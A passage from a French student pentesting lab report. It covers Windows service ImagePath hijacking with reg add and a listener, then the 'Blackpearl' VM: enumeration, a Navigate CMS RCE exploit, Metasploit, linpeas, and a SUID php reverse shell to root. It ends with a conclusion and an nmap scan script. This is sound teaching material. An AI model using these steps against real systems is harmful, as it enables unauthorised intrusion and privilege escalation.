Service 4" /t REG_EXPAND_SZ /v ImagePath /d 
"C:\Windows\Tasks\Service4.exe" /f 

 

Voici une explication des options : 

●​ reg add : Commande pour ajouter ou modifier une clé ou une valeur de registre. 
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●​ “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable 
Service 4” : Chemin de la clé de registre où l’entrée sera ajoutée ou modifiée. 

●​ /t REG_EXPAND_SZ : Spécifie le type de la valeur. REG_EXPAND_SZ est un type 
de chaîne qui peut contenir des variables d’environnement. 

●​ /v ImagePath : Nom de la valeur à ajouter ou modifier. Ici, c’est “ImagePath”. 
●​ /d “C:\Windows\Tasks\Service4.exe” : Données à associer à la valeur. Ici, c’est le 

chemin de l’exécutable “C:\Windows\Tasks\Service4.exe”. 
●​ /f : Force l’ajout ou la modification sans demander de confirmation. 

 
On constate avec la capture que l'opération a correctement fonctionné, nous allons donc 
redémarrer soit le service soit la machine directement: 
 
Mais avant nous allons ouvrir un port d'écoute, celui que nous avons renseigner à la création 
de l'exécutable malveillant, 1234: 

  
Pour redémarrer le service: 
sc start "Vulnerable Service 4" 
 
NB: redémarrer le service n’a pas fonctionné pour nous, nous avons donc redémarré la VM 
pour tester si cela fonctionnait, dans des conditions réelles redémarrer la machine ne serait 
pas du tout discret. Pour redémarrer la machine: 
Restart-Computer -Force 

Et voila nous avons un accès root à la machine: 

 

IV - Cinquième VM (Blackpearl) :  
 
 
​ Pour commencer, à l’aide de nmap, on va découvrir les adresses présentes sur le 
réseau :  
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On voit donc que l’adresse IP de la VM a pentester est 192.168.100.11 étant donné que la 
kali est la 192.168.100.10. On peut donc scanner les ports ouverts de cette machine et on 
voit ceci : 
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On peut voir le port 80 donc ça veut dire qu’on peut accéder à un site web :   
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
La page principale de ce site ne donne pas d’informations étant donné qu’il est composé 
seulement de la page de base de nginx. On va donc faire un dirbuster pour voir si d’autres 
pages sont accessibles :  
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Il a ici été fait en type medium mais n’a détecté aucune page donc on va maintenant essayer 
avec gobuster qui donne parfois un résultat différent :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On voit donc que le gobuster donne un résultat qui est le /secret donc on va l’ajouter à notre 
lien. Une fois ceci fait cela lance un téléchargement d’un fichier texte contenant ceci :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
C’est donc un message qui nous dit de ne pas continuer à utiliser les outils comme dirbuster 
ou gobuster pour trouver des informations car cela ne nous donnera pas plus d’infos. 
Cependant, avec la signature Alek à la fin du message, on peut supposer qu’un utilisateur 
nommé Alek est présent dans le système à attaquer. Le port SSH étant ouvert, on peut 
tester une connexion avec les mots de passes les plus courants comme admin ou azerty ou 
123 mais aucun d’eux ne fonctionnent comme le prouve cette capture :  
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Ne trouvant plus rien à faire, nous avons fait des recherches Internet sur des possibilités 
d’attaque sur SSH ou DNS mais au final aucun résultat concret utilisable n’a été trouvé. On 
est donc retourné sur le site web pour voir si une autre information ne pouvait pas être 
récupérée que nous avions loupée. Ainsi, on a inspecté le code source de la page et avons 
vu ceci :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On voit donc une adresse mail qui nous donne en plus un nom de domaine donc on va 
essayer de l’attaquer. Après recherches, on trouve l’outil The Harvester qui permet de voir si 
une adresse mail est utilisée sur un autre service donc on va l’utiliser pour obtenir d’autres 
informations :  
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Cependant cet outil ne donnera jamais de résultat donc on abandonnera l’exploit après 5 
minutes. En reprenant les ports ouverts on voit qu’il y a du DNS et comme on a récupéré un 
nom de domaine on peut faire des tests pour voir s’il y a des enregistrements  
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On voit avec ces captures qu’il n’y a aucun enregistrements MX ni TXT donc on ne peut pas 
utiliser le DNS. Une autre possibilité est d'ajouter le nom de domaine avec l’adresse IP dans 
le fichier /etc/hosts de la kali pour essayer d’accéder à un autre site :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
En faisant ceci, on peut désormais essayer de se connecter au site http://blackpearl.tcm et 
on arrive sur la page suivante :  
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Pour voir si on peut accéder à d’autres pages à partir de ce site, on va refaire un dirbuster 
medium :  
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On voit donc qu’il y a un /navigate qui existe et qui est accessible (On ne poussera pas le 
dirbuster jusqu’à la fin car le temps était déjà à 5h21 et ne faisait qu’augmenter). Lors de la 
connexion à la page /navigate, on arrive sur ceci :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
La première chose testée est de se connecter avec des noms d’utilisateurs basiques comme 
admin admin ou Alek admin ou Alek Alek mais aucunes de ces paires logins/mots de passe 
ne fonctionnent donc on va essayer “forgotten password” afin de voir s’il est possible de 
récupérer un mot de passe :  
 
 
 
 
 
 
 
 
 
 
 
 
Cependant, le nom d’utilisateur Alek et l’adresse mail alek@blackpearl.tcm ne donne pas de 
résultat. On va donc se concentrer sur l’information en bas à droite du site qui indique la 
version du site navigate qui est la 2.8, ce qui nous permet de faire des recherches sur 
Internet pour l’exploit. La première chose trouvée est cet exploit sur github 
(https://github.com/0x4r2/Navigate-CMS-RCE-Unauthenticated-). On commence donc par 
télécharger le script Navigate_RCE.  
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On peut donc désormais l’exécuter sur sur blackpearl.tcm ce qui fait que l’on obtient un 
webshell (il faut avoir pris soin de modifier les droits d'exécution du script avant) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Une fois que l’on a le webshell, on essaye d’entrer la dernière commande indiquer par le site 
mais ça ne fonctionne pas :  
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Les recherches par Internet ne se montrant pas concluante, on va simplement aller voir sur 
metasploit s’il y en a une :  
 
 
 
 
 
 
 
 
 
 
 
 
 
On va donc mettre les options adéquat qui sont l’adresse IP de la machine ciblée et le nom 
de domaine sur lequel se situe le navigate. Une fois ceci bien configuré, on peut lancer 
l’exploit :  
 
 
 
 
 
 
 
 
 
 
 
 
 
Cet exploit nous offre donc un shell meterpreter à partir duquel on peut créer un shell sur la 
machine cible avec la commande shell comme on l’a fait pour d’autres machines auparavant 
:  
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On est donc maintenant sur un shell www-data sur lequel on va installer linpeas pour 
pouvoir mettre en place une escalation de privilège. On va alors l’installer de la même façon 
que précédemment sur la troisième machine en créant un serveur temporaire sur la kali :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On peut donc maintenant utiliser linpeas sur la machine cible pour détecter les vulnérabilités 
mais celui ci ne détecte aucun code rouge sur fond jaune donc on va devoir regarder les 
codes rouges.  
Le premier code rouge intéressant est celui d’une CVE que nous avons donc recherché :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Cette description indique qu’il est possible de réaliser une escalation de privilège donc on va 
essayer de la mettre en place avec ce lien github qui nous donne une explication de la 
réalisation (https://github.com/jas502n/CVE-2019-13272) :  
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On se rend compte qu’il n’est pas possible d’utiliser gcc qui est un compilateur de langage C 
ce qui fait que l’exploit n’est pas possible à utiliser.  
Il y a ensuite une autre CVE détectée par linpeas mais que l’on a pas réussi à exploiter :  
 
 
 
 
 
 
 
 
 
 
 
 
 
Le prochain code rouge qui a attiré notre attention est celui ci :  
 
 
 
 
Cette ligne disant que ptrace protection est désactivé indique qu’un processus peut en 
contrôler un autre, cependant les exploits trouver concernant ceci utilisent également gcc et 
ne peuvent pas être mis en place, celui ci par exemple trouvé sur github :  
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Après avoir passé plein de codes rouges peu intéressant, on arrive sur la section “files with 
interesting permissions” qui signifie “fichiers avec des permissions intéressantes” :  
 
 
 
 
 
 
 
 
 
 
 
 
Le premier que l’on retiendra est celui qui indique /usr/bin/php7.3 (Unknown SUID binary!) 
qui indique que le SUID est activé sur /usr/bin/php7.3 comme le montre la commande ls :  
 
 
 
 
 
 
Le s dans les permissions est ce qui montre le SUID. Il est donc possible de lancer un 
reverse shell sur cette machine comme le montre ce site 
(https://gtfobins.github.io/gtfobins/php/#suid) :  
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On peut donc maintenant entrer cette commande en utilisant le /usr/bin/php7.3 afin d’obtenir 
un reverse shell :  
 
 
 
 
 
La commande whoami nous confirme bien que nous sommes root après cette manipulation, 
le pentest de cette VM est donc terminée et les informations concernant l’utilisateur Alek 
n’ont finalement pas eu d’utilités. 
 
 

Conclusion: 
 

Pour conclure sur cette SAE de pentesting, dans un premier temps nous pouvons 
dire que nous avons appris beaucoup de choses en la réalisant. En effet, durant les cours 
qui devaient nous préparer à cette SAE, nous avons pu voir la théorie, avec quelques 
exercices pratiques. Ici nous avons dû appliquer la théorie à la pratique. On peut voir que 
pratiquement toutes les failles que nous avons exploitées sont dues à une négligence 
humaine, soit sur la configuration des services soit sur le maintien à jour de services qui 
permettent d'éliminer certaines failles de sécurité. En effet, nous avons pu remarquer que 
parfois les mots de passe étaient réutilisés donc une fois trouvé il aidaient à l'escalade de 
privilège, d’autre fois, un service laissé avec un mot de passe par défaut, ou encore des 
services mal configurés laissant l’accès à n'importe qui. Nous pouvons ainsi conclure, à la 
fin de cette SAE, que comme on l’entend très souvent il est important de maintenir ses 
logiciels et appareils à jour, cela évite souvent de laisser des failles de sécurité. De plus, il 
faut toujours tenter de configurer correctement un service que l’on héberge, en appliquant 
les conseils des développeurs mais aussi en analysant bien les problématiques et besoins. 
Enfin il est important de changer les mots de passe et de mettre des mots de passe forts. En 
effet, plus un mot de passe est fort, moins il sera possible de le déchiffrer.  
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Annexe script bash: 
Voici notre script bash permettant de scanner toutes les adresses d’un réseau et les ports 
ouverts pour chaque adresse, cela crée un fichier ou on va stocker les ports ouverts, un 
fichier nommé avec l’adresse IP (par exemple, 192.168.1.1_open_ports.txt). 
pour l’exécuter:  
./script.sh <network> 

 
#!/bin/bash 
 
# Vérifier si un argument a été fourni 
if [ -z "$1" ]; then 
    echo "Usage: $0 <network>" 
    exit 1 
fi 
 
# Utiliser l'argument comme réseau à scanner 
network="$1" 
 
# Scanner les adresses IP du réseau 
echo "Scanning network $network..." 
nmap -sn $network -oG - | awk '/Up$/{print $2}' > live_hosts.txt 
 
# Analyser les ports ouverts pour chaque adresse IP trouvée et 
stocker les résultats dans des fichiers séparés 
echo "Scanning open ports for live hosts..." 
while IFS= read -r ip; do 
    echo "Scanning $ip..." 
    nmap -p- $ip -oN "${ip}_open_ports.txt" 
done < live_hosts.txt 
 
# Nettoyer le fichier temporaire 
rm live_hosts.txt 
 
echo "Scan terminé." 
 

Explication: 

  #!/bin/bash : 

●​ Indique que le script doit être exécuté avec l’interpréteur Bash. 

  if [ -z “$1” ]; then echo “Usage: $0 <network>”; exit 1; fi : 
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●​ Vérifie si un argument a été fourni. Si ce n’est pas le cas, affiche un message 
d’utilisation et termine le script. 

  network=“$1” : 

●​ Assigne l’argument fourni (le réseau à scanner) à la variable network. 

  echo “Scanning network $network…” : 

●​ Affiche un message indiquant que le réseau spécifié est en cours de scan. 

  nmap -sn network−oG−∣awk′/Up/{print $2}’ > live_hosts.txt : 

●​ Utilise nmap pour effectuer un scan ping (-sn) du réseau spécifié. 
●​ -oG - : Formate la sortie en format grepable. 
●​ awk '/Up$/{print $2}' : Filtre les résultats pour obtenir les adresses IP des hôtes actifs. 
●​ > live_hosts.txt : Stocke les adresses IP des hôtes actifs dans un fichier temporaire 

live_hosts.txt. 

  echo “Scanning open ports for live hosts…” : 

●​ Affiche un message indiquant que les ports ouverts des hôtes actifs sont en cours de 
scan. 

  while IFS= read -r ip; do echo “Scanning $ip…”; nmap -p- 
ip−oN"{ip}_open_ports.txt"; done < live_hosts.txt : 

●​ Lit chaque adresse IP du fichier live_hosts.txt. 
●​ Pour chaque adresse IP, affiche un message indiquant que l’adresse est en cours de 

scan. 
●​ Utilise nmap -p- $ip pour scanner tous les ports (-p-) de l’adresse IP. 
●​ -oN "${ip}_open_ports.txt" : Stocke les résultats du scan dans un fichier nommé avec 

l’adresse IP (par exemple, 192.168.1.1_open_ports.txt). 

  rm live_hosts.txt : 

●​ Supprime le fichier temporaire live_hosts.txt après le scan. 

  echo “Scan terminé.” : 

●​ Affiche un message indiquant que le scan est terminé. 
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